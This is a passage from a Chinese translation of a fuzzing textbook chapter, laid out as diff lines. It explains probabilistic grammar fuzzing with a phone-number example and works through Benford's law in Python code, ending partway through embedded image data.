+通过将*概率*分配给各个扩展，让我们赋予语法更多的功能。 这使我们能够控制应生产每个元素的数量，从而使我们能够将*定位为针对特定功能的*目标。 我们还将展示如何从给定的样本输入中学习此类概率，以及具体地将我们的测试引向这些样本中不常见的输入特征。
+
+**前提条件**
+
+*   您应该阅读语法的[一章。](Grammars.html)
+*   我们的实现与[“有效语法模糊测试”](GrammarFuzzer.html) 中引入的基于语法的模糊测试挂钩。
+*   为了从样本中学习概率，我们使用[解析器](Parser.html)。
+
+## 内容提要
+
+要使用本章中提供的代码来[，请编写](Importing.html)
+
+```py
+>>> from [fuzzingbook.ProbabilisticGrammarFuzzer](ProbabilisticGrammarFuzzer.html) import <identifier>
+
+```
+
+然后利用以下功能。
+
+*概率*语法允许将各个*概率*附加到生产规则。 要将单个扩展`S`的概率设置为`X`值（0到1之间），请用一对替换
+
+```py
+(opts(S, prob=X))
+
+```
+
+如果我们要确保生成的90％的电话号码具有以`9`开头的区号，我们可以编写：
+
+```py
+>>> from [Grammars](Grammars.html) import US_PHONE_GRAMMAR, extend_grammar, opts
+>>> PROBABILISTIC_US_PHONE_GRAMMAR = extend_grammar(US_PHONE_GRAMMAR,
+>>> {
+>>>       "<lead-digit>": ["2", "3", "4", "5", "6", "7", "8", 
+>>>                       ("9", opts(prob=0.9))],                                              
+>>> })
+
+```
+
+`ProbabilisticGrammarFuzzer`将提取并解释这些选项。 这是一个例子：
+
+```py
+>>> probabilistic_us_phone_fuzzer = ProbabilisticGrammarFuzzer(PROBABILISTIC_US_PHONE_GRAMMAR)
+>>> [probabilistic_us_phone_fuzzer.fuzz() for i in range(5)]
+['(965)906-9430',
+ '(977)953-0547',
+ '(973)971-2092',
+ '(944)961-7546',
+ '(929)918-3600']
+
+```
+
+如您所见，现在大多数区号都以`9`开头。
+
+## 前导数字定律
+
+到目前为止，在我们所有的示例中，您可能已经注意到，程序生成的输入与“自然”输入在现实生活中存在很大差异。 即使对于诸如数字之类的无害元素，也是如此-是的，到目前为止，我们实际生成的数字*与现实世界中的数字有所不同。 这是因为在现实的数字数据集中，*前导有效数字*可能很小：实际上，平均而言，前导`1`的出现次数是*的六倍* 与前导数字`8`或`9`一样多。 结果表明，该结果适用于各种数据集，包括电费，街道地址，股票价格，房价，人口数量，死亡率，河流长度，物理和数学常数（维基百科）。*
+
+这种领先的数字定律首先由Newcomb [ [Simon Newcomb，1881\.](http://www.jstor.org/stable/2369148) ]观察，后来由Benford在[ [Frank Benford，1938\.](http://links.jstor.org/sici?sici=0003-049X%2819380331%2978%3A4%3C551%3ATLOAN%3E2.0.CO%3B2-G) ]中正式化。 让我们看一下确定数字首位的条件。 我们可以通过将数字转换为字符串并采用第一个字符来轻松计算第一个数字：
+
+```py
+def first_digit_via_string(x):
+    return ord(repr(x)[0]) - ord('0')
+
+```
+
+```py
+first_digit_via_string(2001)
+
+```
+
+```py
+2
+
+```
+
+但是，要在数学上做到这一点，我们必须取其对数的小数部分，或者形式为
+
+$$ d = 10 ^ {\ {\ log_ {10}（x）\}} $$
+
+其中$ \ {x \} $是$ x $的小数部分（即$ \ {1.234 \} = 0.234 $）。
+
+```py
+import [math](https://docs.python.org/3/library/math.html)
+
+```
+
+```py
+def first_digit_via_log(x):
+    frac, whole = math.modf(math.log10(x))
+    return int(10 ** frac)
+
+```
+
+```py
+first_digit_via_log(2001)
+
+```
+
+```py
+2
+
+```
+
+大多数“自然”出现的数字集的对数的小数部分不应有任何偏差，因此，小数部分$ \ {\ log_ {10}（x）\} $通常是均匀分布的。 但是，各个数字的小数部分不是*而是均匀分布的*。
+
+对于以数字$ d $开头的数字，必须满足条件$ d < 10 ^ {\ {\ log_ {10}（x）\}} < d + 1 $。 因此，要从数字1开始，小数部分$ \ {\ log_ {10}（x）\} $必须在范围内
+
+```py
+(math.log10(1), math.log10(2))
+
+```
+
+```py
+(0.0, 0.3010299956639812)
+
+```
+
+但是要以数字2开头，它必须在范围内
+
+```py
+(math.log10(2), math.log10(3))
+
+```
+
+```py
+(0.3010299956639812, 0.47712125471966244)
+
+```
+
+这要小得多。 形式上，前导数字$ d $的概率$ P（d）$（再次假设均匀分布的小数部分）被称为本福德定律：$$ P（d）= \ log_ {10}（d +1）- \ log_ {10}（d）$$，可为我们提供：
+
+```py
+def prob_leading_digit(d):
+    return math.log10(d + 1) - math.log10(d)
+
+```
+
+让我们计算所有数字的这些概率：
+
+```py
+digit_probs = [prob_leading_digit(d) for d in range(1, 10)]
+[(d, "%.2f" % digit_probs[d - 1]) for d in range(1, 10)]
+
+```
+
+```py
+[(1, '0.30'),
+ (2, '0.18'),
+ (3, '0.12'),
+ (4, '0.10'),
+ (5, '0.08'),
+ (6, '0.07'),
+ (7, '0.06'),
+ (8, '0.05'),
+ (9, '0.05')]
+
+```
+
+```py
+import [matplotlib.pyplot](https://docs.python.org/3/library/matplotlib.pyplot.html) as [plt](https://docs.python.org/3/library/plt.html)
+
+```
+
+```py
+labels = range(1, 10)
+fig1, ax1 = plt.subplots()
+ax1.pie(digit_probs, labels=labels, shadow=True, autopct='%1.1f%%',
+        counterclock=False, startangle=90)
+ax1.axis('equal');
+
+```
+
+![](data:image/png;base64,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